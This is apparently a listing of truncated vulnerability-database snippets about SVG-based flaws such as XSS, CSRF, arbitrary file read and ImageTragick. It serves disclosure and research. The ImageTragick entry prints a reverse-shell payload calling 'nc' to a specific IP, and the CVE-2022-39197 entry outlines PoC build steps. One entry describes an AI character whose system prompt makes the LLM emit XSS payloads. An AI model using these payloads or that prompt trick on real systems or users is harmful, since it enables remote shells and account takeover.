CVE-2025-3568

CVE-2025-3568 通过恶意 SVG 文件实现权限提升 概述 已在 Krayin CRM 2.1.0 中发现一个安全漏洞，该漏洞允许低权限用户通过诱骗管理员打开恶意 SVG 文件来提升权限。此漏洞利用基于 SVG 的跨站请求伪造（CSRF）和 跨站脚本（XSS），以实现： 从 Cookie 中窃取管理员的 XSRF 令牌 。 通过未受保护的 API 端点 ，在不知道当前密码的情况下更改管理员密码。 这可能导致管理员账户被完全接管 和数据泄露 。 技术细节 漏洞类型 通过 SVG 文件上传实现 CSRF + XSS （存储型客户端攻击） 访问控制失效 （无需当前密码即可更改密码）...

CVE-2023-24278

CVE-2023-24278 - Squidex 中的反射型 XSS 漏洞 概述 CVE ID: CVE-2023-24278 受影响产品: Squidex 7.4.0 之前的所有版本 报告者: Ioannis Christodoulakos 本仓库提供了关于 Squidex 开源无头 CMS 软件中发现的两个反射型跨站脚本（XSS）漏洞的信息及利用方式。这些漏洞影响 7.4.0 之前的所有版本，攻击者可通过向 /squid.svg 端点的特定查询参数中注入代码，在受害者浏览器中执行恶意 JavaScript 代码。 漏洞详情 漏洞是由于 /squid.svg 端点的 text 和...

CVE-2025-51860

CVE-2025-51860 漏洞描述 TelegAI，一个用于构建和与AI角色聊天的Web应用程序，在其聊天组件和角色容器组件中存在存储型跨站脚本（XSS）漏洞。攻击者可以通过在AI角色的描述、问候语、示例对话或系统提示（指示LLM在聊天响应中嵌入XSS负载）中构造包含SVG XSS负载的角色，从而实现任意客户端脚本执行。当用户与这种恶意AI角色交互或仅浏览其个人资料时，脚本会在用户的浏览器中执行。成功利用该漏洞可能导致敏感信息（如会话令牌）被窃取，进而可能导致账户劫持。 攻击向量...

CVE-2022-39197

CVE-2022-39197 RCE POC 参考链接 https://mp.weixin.qq.com/s/Eb0pQ-1ebLSKPUFC7zS6dg — 对于此漏洞，这里有精彩的深入分析 https://www.agarri.fr/blog/archives/2012/05/11/svgfilesandjavacodeexecution/index.html...

CVE-2022-39197

CVE-2022-39197 RCE POC 使用方法 准备 Payload 1. 在 EvilJar/src/main/java/Exploit.java 中编辑第 19 行，填入你的 Payload 2. 使用 jar 构建：mvn clean compile assembly:single 3. 将 EvilJar/target/ 目录下的 EvilJar-1.0-jar-with-dependencies.jar 移动到 serve/ 文件夹 4. 编辑 serve\evil.svg，将 attacker 替换为你的地址 5. 使用 python3 -m http.server...

CVE-2026-91136

The Divi Plus plugin for WordPress is vulnerable to Arbitrary File Read in versions up to, and including, 2.4.0 via the 'svgimage' parameter of the /wp-json/elicus/v1/dipl-modules/svg-animator REST endpoint. This is due to the endpoint's permission callback SVGAnimatorController::indexpermission...

CVE-2026-91136

The Divi Plus plugin for WordPress (versions up to and including 2.4.0 ) is vulnerable to Arbitrary File Read via the svg_image parameter of the /wp-json/elicus/v1/dipl-modules/svg-animator REST endpoint. The vulnerability stems from the SVGAnimatorController::index_permission callback returning ...

EUVD-2026-96298

The Divi Plus plugin for WordPress is vulnerable to Arbitrary File Read in versions up to, and including, 2.4.0 via the 'svgimage' parameter of the /wp-json/elicus/v1/dipl-modules/svg-animator REST endpoint. This is due to the endpoint's permission callback SVGAnimatorController::indexpermission...

poc-cve-xss-uploading-svg

詳細 Title: WordPress CMS用プラグイン「Uploading SVG, WEBP and ICO files」における認証済み反射型クロスサイトスクリプティング Date: 2023-08-10 Author: Danilo Albuquerque Vendor Homepage: https://wordpress.org Software Link: https://wordpress.org/download Version: WordPress 6.3 プラグイン名とバージョン: Uploading SVG, WEBP and ICO files 1.2.1...

ImageTragick-CVE-2016-3714-RShell

ImageTragick-CVE-2016-3714-RShell 这些是利用bash、nc、php等工具构建反向Shell的CVE-2016-3714 mvg/svg POC。 声明 仅供研究和道德黑客使用…… 用法 1. 服务器端：nc -l - p 端口号 2. 将图片上传到漏洞站点 致谢 感谢virgoTeam的ding提供的php反向Shell POC 参考 https://imagetragick.com/ jpeanut@VirgoTeam...

CVE-2025-51858

CVE-2025-51858 漏洞描述 ChatPlayground.ai 是一款用于比较 AI 模型的流行 Web 应用程序。其聊天组件存在跨站脚本 XSS 漏洞，可导致 JWT 令牌窃取和远程账户劫持。此外，/api/chat-history 端点存在弱访问控制 IDOR。攻击者可利用此 IDOR，通过 JWT 令牌中的用户名访问受害者的聊天历史，即使在 JWT 令牌过期后也可导致隐私数据泄露。 攻击向量 ChatPlayground.ai 是一款用于比较 AI 模型的流行 Web 应用程序。在 ChatPlayground.ai（一个流行的 AI 模型比较平台）的聊天组件...

ImageTragick_Poc

ImageTragick POCs RCEPOC push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|bash -i &...

CVE-2025-65675

CVE-2025-65675 Classroomio LMS 0.1.13における格納型クロスサイトスクリプティング（XSS）の脆弱性。認証された攻撃者が細工されたSVGプロフィール画像を介して任意のコードを実行できる可能性があります。発見者 - Rivek Raj Tamang（RivuDon）、インド、シッキム州。 影響を受ける製品: ClassroomIO 影響を受けるバージョン: 0.1.13 発見者: Rivek Raj Tamang（RivuDon）、インド、シッキム州 脆弱性の詳細 格納型クロスサイトスクリプティング 概要 Classroomio LMS バージョン...

CVE-2022-32060

Snipe-IT 版本 v6.0.2 漏洞说明： Snipe-IT v6.0.2 的更新品牌设置组件中存在任意文件上传漏洞，攻击者可通过构造的文件执行任意代码。 攻击向量： 我们发现了一个文件上传漏洞，当在更新品牌设置页面上传恶意文件时触发。 Payload： https://github.com/bypazs/GrimTheRipper/blob/main/GrimTheRipperTeam.svg 测试环境： 1. Snipe-IT 版本 v6.0.2 2. Google Chrome 版本 102.0.5005.61 官方构建 64位 受影响组件：...

Imgproxy < 3.14.0 - Cross-site Scripting (XSS)

Cross-site Scripting XSS - Reflected in GitHub repository imgproxy/imgproxy prior to 3.14.0. id: CVE-2023-1496 info: name: Imgproxy 3.14.0 - Cross-site Scripting XSS author: pdteam severity: medium description: Cross-site Scripting XSS - Reflected in GitHub repository imgproxy/imgproxy prior to...

SiYuan <= v3.5.9 - Cross Site Scripting

SiYuan v3.5.10 contains a reflected XSS caused by improper sanitization of javascript: href attributes allowing ASCII control characters to bypass prefix checks in SVG sanitizer, letting unauthenticated attackers execute JavaScript via /api/icon/getDynamicIcon. id: CVE-2026-31809 info: name: SiYu...

SiYuan Note - Cross-Site Scripting

Unauthenticated reflected cross-site scripting XSS vulnerability in all versions of SiYuan Note containing /api/icon/getDynamicIcon with unsafe type=8 rendering logic. Attacker-controlled content is inserted directly into SVG output without proper sanitization. An attacker can execute arbitrary...

Z-Downloads < 1.11.7 - Cross-Site Scripting

The plugin does not properly validate uploaded files allowing for the uploading of SVGs containing malicious JavaScript. id: CVE-2024-8673 info: name: Z-Downloads 1.11.7 - Cross-Site Scripting author: Splint3r7 severity: low description: | The plugin does not properly validate uploaded files...

SiYuan <= v3.5.9 - SVG Animate Element XSS

SiYuan = v3.5.9 contains a reflected XSS caused by insufficient SVG sanitization allowing SVG animation elements to inject executable JavaScript in /api/icon/getDynamicIcon endpoint, letting unauthenticated attackers execute scripts. id: CVE-2026-31807 info: name: SiYuan = v3.5.9 - SVG Animate...

CVE-2024-34452

CVE-2024-34452 - CMSimpleXH 中的跨站脚本（XSS）漏洞 概述 在 CMSimpleXH 1.7.6 版本中发现了一个跨站脚本（XSS）漏洞。该漏洞允许授权用户上传包含恶意 JavaScript 代码的 SVG 文件。问题源于应用程序的文件上传功能对上传的 SVG 文件验证和清理不足。 漏洞详情 CVE 标识符：CVE-2024-34452 严重性：中危 受影响版本：CMSimpleXH 1.7.6 描述 该漏洞的存在是因为应用程序未能正确验证和清理用户上传的 SVG 文件。攻击者可以通过上传包含恶意 JavaScript 代码的特制 SVG...